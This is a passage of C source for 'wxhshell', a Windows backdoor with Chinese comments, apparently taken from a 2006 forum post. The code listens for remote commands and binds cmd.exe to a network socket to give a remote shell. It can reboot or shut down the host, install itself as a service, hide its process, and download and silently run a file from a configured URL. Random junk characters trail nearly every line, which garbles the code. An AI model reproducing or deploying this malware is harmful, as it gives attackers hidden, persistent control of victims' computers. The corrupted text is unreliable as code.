    switch(cmd[0]) { Y0\\(0j64  
  I JY5wP1"  
  // 帮助 i q:Q$z&  
  case '?': { 5]l7Z35  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PAU+C_P  
    break; @a\SR'8  
  } QCfpDE}  
  // 安装 `;CU[Ps?]  
  case 'i': { 7$W;4!BN*  
    if(Install()) .p(l+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<:U"E.  
    else ;Ph)BY<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lu39eO6  
    break; \%Rta$ O?S  
    } F ^t?*   
  // 卸载 ,l .U^d6>  
  case 'r': { $3.vVnc  
    if(Uninstall()) BemkCj2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "%Ana=cc  
    else m%c0#=D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F}(QKO*  
    break; aiZo{j<6  
    } 0"psKf'  
  // 显示 wxhshell 所在路径 4F,Ql"ae(  
  case 'p': { 4<< bk_7'  
    char svExeFile[MAX_PATH]; L?27q  
    strcpy(svExeFile,"\n\r"); 36x:(-GFq  
      strcat(svExeFile,ExeFile); !5%5]9'n@*  
        send(wsh,svExeFile,strlen(svExeFile),0); asN }  
    break; $>ZP%~O  
    } ,i?!3oLT  
  // 重启 hdtnC29$  
  case 'b': { \41)0,sEy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1DLG]-j}  
    if(Boot(REBOOT)) pJIE@Q|hi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^n> ZY,  
    else { rk,1am:cg  
    closesocket(wsh); g~c|~u(W  
    ExitThread(0); Tj21YK.mk  
    } ~]W[ {3 ;  
    break; O| J`~Lk  
    } E< CxKY9  
  // 关机 mzE$aFu8  
  case 'd': { Mq :'-`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); plx/}ah8  
    if(Boot(SHUTDOWN)) ~8xh0TSi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )d(0Y<e @  
    else { XyM(@6,'  
    closesocket(wsh); P%@rH@^Y  
    ExitThread(0); :{b6M/  
    } [TK? P0  
    break; /witDu7  
    } I\rZk9F  
  // 获取shell ::OFW@dS  
  case 's': { 9;]wF8h  
    CmdShell(wsh); 5Z6-R}uXk  
    closesocket(wsh); MkW1FjdP  
    ExitThread(0); ,+/9K)X  
    break; [Ba2b: l6v  
  } W `u$7k]$  
  // 退出  =Etwa  
  case 'x': { |5~wwL@LW7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f']sU/c=  
    CloseIt(wsh); w,![;wG  
    break; }WO9!E(  
    } EARfbb"SG7  
  // 离开 JC&6q >$  
  case 'q': { )y`TymM[F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oB0 8  
    closesocket(wsh); ] `B,L*m6  
    WSACleanup(); N$%61GiulT  
    exit(1); >{ECyh;  
    break; i9;27tT~<  
        } }*.:Hv"  
  } j!S1Y0CV  
  } w`j*W$82  
[T4 pgt'H  
  // 提示信息 kQwm"Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +2EHmuJ;  
} y)p$_.YFF  
  } EItxRHV5  
4ypRyO  
  return; Kunle~Ro  
} &$m=^  
i<#h]o C}  
// shell模块句柄 U+.PuC[3  
int CmdShell(SOCKET sock) .>kccLr:z  
{ t}]9VD9  
STARTUPINFO si; c>S"`r  
ZeroMemory(&si,sizeof(si)); >G<\1R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N a. nA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KP=D! l&q  
PROCESS_INFORMATION ProcessInfo; t&R!5^R  
char cmdline[]="cmd"; C|4 U78f{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &@4.;u  
  return 0; NWJcFj_  
} Z[#I"-Q~:  
'f-   
// 自身启动模式 YER:ICQ  
int StartFromService(void) ~># LOT `  
{ yX7CN5vVl  
typedef struct }c` ?0FQ  
{ (B>)2:T1  
  DWORD ExitStatus; TRgY:R_  
  DWORD PebBaseAddress; M8^.19q;  
  DWORD AffinityMask; b&=]S(  
  DWORD BasePriority; 7.Ml9{M/i  
  ULONG UniqueProcessId; rWoe ?g  
  ULONG InheritedFromUniqueProcessId; #Rin*HL##  
}   PROCESS_BASIC_INFORMATION; /B,B4JI)/  
?CH?kP  
PROCNTQSIP NtQueryInformationProcess; 0NQ7#A  
{A]k%74-a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0rku4T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .Lojzx  
20rN,@2<  
  HANDLE             hProcess; n> MD\ZS  
  PROCESS_BASIC_INFORMATION pbi; N@cMM1  
ATMc`z:5T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jOBY&W0r  
  if(NULL == hInst ) return 0; hz< |W5  
!~K=#"T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \R86;9ov  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h'B9|Cm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #04{(G|~+E  
,'FD}yw4v  
  if (!NtQueryInformationProcess) return 0; h`?y2?O  
Hs[}l_gYn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M0O>Ljo4RN  
  if(!hProcess) return 0; R(:  4s  
=QrA0kQR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rr+qg t;f5  
iY0,WT}&n  
  CloseHandle(hProcess); 13ipaz  
4dW3'"R"L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yDd=& T   
if(hProcess==NULL) return 0; 4JGE2ArR  
G$cxDGo  
HMODULE hMod; HG3.~ 6X  
char procName[255]; sL)Rg(rkx  
unsigned long cbNeeded; 'Z\{D*=V8  
X!T|07#c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TkA9tFi  
b\1+kB/8  
  CloseHandle(hProcess); n<{aPLQ  
{hxW,mmA  
if(strstr(procName,"services")) return 1; // 以服务启动 M} O[`Fx{W  
s,84*6u  
  return 0; // 注册表启动 4$%`Qh>yA  
} 65lOX$*{-  
Jf_]Z  
// 主模块 c`-YIz)W  
int StartWxhshell(LPSTR lpCmdLine) pAEN XC\,  
{ (tJ91SBl  
  SOCKET wsl; Qn *6D  
BOOL val=TRUE; w3<Z?lj:  
  int port=0; ^[en3aQ  
  struct sockaddr_in door; 2[.5oz`  
R @"`~#$$  
  if(wscfg.ws_autoins) Install(); >[K0=nA  
mDZ=Due1  
port=atoi(lpCmdLine); {U(Bfe^a,  
w]n 4KR4  
if(port<=0) port=wscfg.ws_port; .SG0}8gW  
9^oo-,Su_  
  WSADATA data; y0;,dv]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8, =G1c  
(%i!%{!]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =h(7rU"Yz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7k>zuzRyF  
  door.sin_family = AF_INET; Q5g,7ac8L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bpGzTU  
  door.sin_port = htons(port); HP;|'b  
V R"8Di&)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?;Un#6b  
closesocket(wsl); =Qyqfy*@D?  
return 1; 6mwvI4)  
} .Nc_n5D6  
Pow|:Lau!  
  if(listen(wsl,2) == INVALID_SOCKET) { ,`<]>;s  
closesocket(wsl); Bgf=\7;5  
return 1; TNx_Rc}  
} \F[n`C"Is  
  Wxhshell(wsl); ?k"0w)8  
  WSACleanup(); 7 xUE,)?  
mIRAS"Q!m  
return 0; C}9Kx }q  
.U<F6I:<md  
} dnix:'D1  
6zuze0ud  
// 以NT服务方式启动 k'x #t(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D 0  
{ )R~a;?T_c0  
DWORD   status = 0; 2@fa rx:  
  DWORD   specificError = 0xfffffff; A&NqQ V,  
6>s=Ci ZB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pOKeEW<q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =9(tsB gTX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X\kjAMuW/*  
  serviceStatus.dwWin32ExitCode     = 0; N^lAG"Jao[  
  serviceStatus.dwServiceSpecificExitCode = 0; wajZqC2yg  
  serviceStatus.dwCheckPoint       = 0; 4x(F&0  
  serviceStatus.dwWaitHint       = 0; bhn5Lz$z  
o,J^ e_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b]w[*<f?  
  if (hServiceStatusHandle==0) return; 0:. 6rp  
":V%(c  
status = GetLastError(); B.}cB'|  
  if (status!=NO_ERROR) V(r`.75  
{ Gh'X.?3   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XwtAF3oz  
    serviceStatus.dwCheckPoint       = 0; vffH  
    serviceStatus.dwWaitHint       = 0; "(<%Ua  
    serviceStatus.dwWin32ExitCode     = status; bTiBmS  
    serviceStatus.dwServiceSpecificExitCode = specificError; >d97l&W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u7[pLtOwN  
    return; IYLZ +>  
  } T RDxT  
'<W<B!HP5Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !x8kB Di,  
  serviceStatus.dwCheckPoint       = 0; L $SMfx  
  serviceStatus.dwWaitHint       = 0; T!(sZf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7x(v?  
} .D!WO  
w]}f6VlEl  
// 处理NT服务事件,比如:启动、停止 dkpQ ZXi9%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6(>WGR  
{ k&!6fZ)  
switch(fdwControl) -qfnUh  
{ $,@JYLC2  
case SERVICE_CONTROL_STOP: y`6\L$c  
  serviceStatus.dwWin32ExitCode = 0; Gp8psH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TVYz3~m  
  serviceStatus.dwCheckPoint   = 0; e:BDQU  
  serviceStatus.dwWaitHint     = 0; ;5N41_hG  
  { ^;4YZwW5w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a5)JkC  
  } 1U'ZVJ5bpK  
  return; fq=:h\\G  
case SERVICE_CONTROL_PAUSE: AC'lS >7s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >P<'L4;  
  break; zC#%6@P\  
case SERVICE_CONTROL_CONTINUE: 2 ZK%)vq0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m2Q$+p@  
  break; ~XKZXGw  
case SERVICE_CONTROL_INTERROGATE: EWO /u.z  
  break; @%:E  }  
}; h"r!q[MN o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @<a|  
} M|H 2kvl  
\f<z*!,D$  
// 标准应用程序主函数 &Q~)]|t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cf\&No?-p  
{ G1/Gq.<  
_Z$?^gn  
// 获取操作系统版本 m@[3~ 6A  
OsIsNt=GetOsVer(); 6<PW./rk:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f7 wm w2  
14-]esSa  
  // 从命令行安装 dWUUxKC  
  if(strpbrk(lpCmdLine,"iI")) Install(); TA|s@T{  
?9Ma^C;}  
  // 下载执行文件 'B,KFA<  
if(wscfg.ws_downexe) { {"t5\U6cKM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h\FwgkJP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8O9Gs  
} #N$9u"8C  
c ;^A)_/  
if(!OsIsNt) { C bQ4Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 pZjpc#*9N  
HideProc(); =9<$eLE0  
StartWxhshell(lpCmdLine); 7DZTQUb"  
} Z vRxi&Z{?  
else ntZ~m  
  if(StartFromService()) "[.ne)/MC  
  // 以服务方式启动 F 3s?&T)[G  
  StartServiceCtrlDispatcher(DispatchTable); Mt=R*M}D0  
else ?<6@^X"  
  // 普通方式启动 c$A@T~$  
  StartWxhshell(lpCmdLine); j_V/GnEQ  
kP?_kMOx  
return 0; b`zET^F  
}
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只看该作者 1 发表于: 2006-10-10
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